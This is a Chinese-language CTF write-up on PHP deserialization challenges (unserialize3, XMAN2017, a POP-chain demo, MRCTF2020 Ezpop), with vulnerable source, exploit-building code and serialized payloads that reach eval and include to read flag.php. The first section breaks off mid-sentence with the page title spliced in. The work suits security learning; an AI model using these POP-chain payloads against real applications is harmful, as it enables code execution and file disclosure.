CTF_Web:反序列化详解(二)CTF经典考题由浅至深

0x00 CTF中的反序列化题目

这类题目中主要是利用反序列化各种魔术方法的绕过或调用,从而构造符合条件的序列化字符串,完成特定的功能,在这一点上对于整个代码段的执行流程要很清楚。我们先从最简单的开始看起。

0x01 攻防世界unserialize3

题目显示的源码为:

class xctf{  	public $flag = '111'; 	public function __wakeup(){ 	exit('bad requests'); } ?code= 

在这里我们可以看到只有一个魔术方法,而__wakeup()魔术方法是反序列化之前检查执行的函数,也就是说,不管传入什么,都会优先执行__wakeup()方法,但这里针对__wakeup()方法有一个CVECTF_Web:反序列化详解(二)CTF经典考题由浅至深

0x03 XMAN2017 unserialize

访问题目提示get传参code
CTF_Web:反序列化详解(二)CTF经典考题由浅至深
于是试试传入1,得到提示
hint: flag.php
访问得到下一步提示:
CTF_Web:反序列化详解(二)CTF经典考题由浅至深
访问help.php,得到部分源码:
CTF_Web:反序列化详解(二)CTF经典考题由浅至深
代码整理后得到:

<?php class FileClass {  public $filename = 'error.log';  public function __toString(){  return file_get_contents($this->filename);  	}  }  

也就是说这是一个触发Tostring 的题目,前面的知识中我们也提到这个函数触发于对象被当作字符串时,一般在echo等打印函数时就可以,这里先使用

$a = new FileClass(); echo serialize($a); 

传给code做测试,发现返回:
CTF_Web:反序列化详解(二)CTF经典考题由浅至深
也就是说,每次序列化之后都触发了其中的Tostring函数,返回文件的内容, 只不过这里没有error,log,那么我们把内容替换为flag.php即可。
传入?code=O:9:"FileClass":1:{s:8:"filename";s:8:"flag.php";}查看源码拿到flag。

0x04 pop链构造

以下部分内容代码来自F12sec ,作者spaceman。感谢大佬的分享,通过几个例子来一起学习反序列化的执行流程

<?php highlight_file(__FILE__); class pop {     public $ClassObj;     function __construct() {         $this->ClassObj = new hello();     }     function __destruct() {         $this->ClassObj->action();     } } class hello {     function action() {         echo "hello pop ";     } } class shell {     public $data;     function action() {         eval($this->data);     } } $a = new pop(); @unserialize($_GET['s']); 

在这段代码中,可以很容易看到危险函数为shell类中的action方法,而第一个类pop在创建时会自动去new一个hello类,并在销毁时调用helloaction方法,我们只需要利用销毁时自动调用的这一特性。使本来的执行流程改变,具体为:
new pop --> new hello --> action(hello)
new pop --> new shell --> action(shell)
于是上面的代码就变成了

<?php highlight_file(__FILE__); class pop {     public $ClassObj;     function __construct() {         $this->ClassObj = new shell();     }     function __destruct() {         $this->ClassObj->action();     } } class hello {     function action() {         echo "hello pop ";     } } class shell {     public $data ="phpinfo();" ;     function action() {         eval($this->data);     } } $a = new pop(); echo serialize($a); 

这样一来就完成了执行流程的改变,我们把最后的结果O:3:"pop":1:{s:8:"ClassObj";O:5:"shell":1:{s:4:"data";s:10:"phpinfo();";}}传入s中,就得到了执行phpinfo后的界面,完成了执行流程的改变。
CTF_Web:反序列化详解(二)CTF经典考题由浅至深

0x05 MRCTF2020Ezpop

题目源码为:

<?php  class Modifier {     protected  $var = "flag.php";     public function append($value){         include($value);     }     public function __invoke(){ 		echo "__invoke";         $this->append($this->var);     } }  class Show{     public $source;     public $str;     public function __construct($file='index.php'){         $this->source = $file;         echo 'Welcome to '.$this->source."<br>";     }     public function __toString(){ 		echo "__tostring";         return $this->str->source;     }      public function __wakeup(){         if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {             echo "hacker";             $this->source = "index.php";         }     } }  class Test{     public $p;     public function __construct(){         $this->p = new Modifier();     }      public function __get($key){ 		echo "__get";         $function = $this->p;         return $function();     } }  if(isset($_GET['pop'])){     @unserialize($_GET['pop']); } else{     $a=new Show;     highlight_file(__FILE__); } 

这里代码比较长,但我们一个个分析,都是之前总结过的知识点。

  • 首先是Modifier类:
class Modifier {     protected  $var;     public function append($value){         include($value);     }     public function __invoke(){         $this->append($this->var);     } } 

这里我们看到只有一个魔术方法invoke,前面我们总结了,调用invoke 的方式就是将对象以函数的方式访问,所以modifier类利用的姿势就是:

$a = new Modifier(); $a(); 
  • 其次是show类:
class Show{     public $source;     public $str;     public function __construct($file='index.php'){         $this->source = $file;         echo 'Welcome to '.$this->source."<br>";     }     public function __toString(){         return $this->str->source;     }      public function __wakeup(){         if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {             echo "hacker";             $this->source = "index.php";         }     } } 

这里可以看到魔术方法为tostingwakeuptostring需要对象以字符串方式被访问,而这一类中刚好在初始化时construct中使用了echo;这里的wakeup只要传参Show中的值不包含指定字符即可。

  • 第三个是Test类
class Test{     public $p;     public function __construct(){         $this->p = array();     }      public function __get($key){         $function = $this->p;         return $function();     } } 

test类中的魔术方法__get需要我们访问一个不存在的属性时就会调用,且会将自己类中p的值当作函数执行。
利用的姿势就为:

$b = new Test(); $b->a; 

访问不存在的属性,哪里的属性不存在呢,在Show类中tostring调用的$this->str->source,而Test类没有source属性,那么让Show类中的str属性成为Test类的对象即可。
也就是说这里应该为:

$a = new Show("123"); $a->str = new Test(); 

其实到了这里就比较明朗了,好似回到了第一个类modifier的执行条件,将一个值当作函数执行。最终的目的也就是把想要查看的文件使用 Modifier类中的include($value);函数包含。
所以执行的流程就是:
Show中执行tostring——>访问到了Test中的source——>而Test中没有source——>于是执行了__get魔法——>将this->p当作函数执行,这里都可以看出来this->p就应该是第一个类的利用点就应该是Modifier的对象。从而包含想要包含的文件。
代码为:

<?php  class Modifier {     protected  $var = "flag.php";     public function append($value){         include($value);     }     public function __invoke(){ 		echo "__invoke";         $this->append($this->var);     } }  class Show{     public $source;     public $str;     public function __construct($file='index.php'){         $this->source = $file;         echo 'Welcome to '.$this->source."<br>";     }     public function __toString(){ 		echo "__tostring";         return "556"; //注意这里把原来的this->str->source更改,如果不改,在new第二次Show的时候就会提示Method Show::__toString() must return a string value      }      public function __wakeup(){  //这里两次传入的source参数都不包含正则的内容,所以没有触发过滤函数。         if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {             echo "hacker";             $this->source = "index.php";         }     } }  class Test{     public $p;     public function __construct(){         $this->p = new Modifier();     }      public function __get($key){ 		echo "__get";         $function = $this->p;         return $function();     } } $a = new Show("afcc"); //在这个题目中输入什么都无所谓,都不会影响后续的结果 $a->str = new Test(); //echo $a;这里也就是要再次调用Show输出自己,才会使echo成立。 $c = new Show($a); echo urlencode(serialize($c)); //这里urlencode是为了防止 protected 对象对结果造成影响。 

最终输入
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A4%3A%22afcc%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
也就是序列化后的字串,注意*var前面的%00

当这个题目做完的时候我们反过来看,其实这里面的wakeup没有起到作用,因为对于最后的序列化串来说Show类中的source没有起到任何作用,就算在反序列化之前被修改,也不影响后续的输出。如果把他改为

this->str = "index.php"; 

这时就需要考虑如何绕过的问题了。

0x06 小结

这几天学习反序列化之后,发现主要的知识点集中于各个魔术方法的调用时机、正则匹配的绕过和pop链的构造,学习比较缓慢,需要慢慢积累。
pop链在构造的时候首先

  • 分析每个函数是不是有存在利用的点、怎么利用,例如wakeup、get等魔术方法
  • 他们之间有没有关联、比如第一个的利用条件正好是第二个的初始化内容等等
  • 最后我们需要控制的eval、include等危险函数来倒推利用。

还是需要多加练习才能更深入的掌握。

版权声明:玥玥 发表于 2021-08-17 23:12:30。
转载请注明:CTF_Web:反序列化详解(二)CTF经典考题由浅至深 | 女黑客导航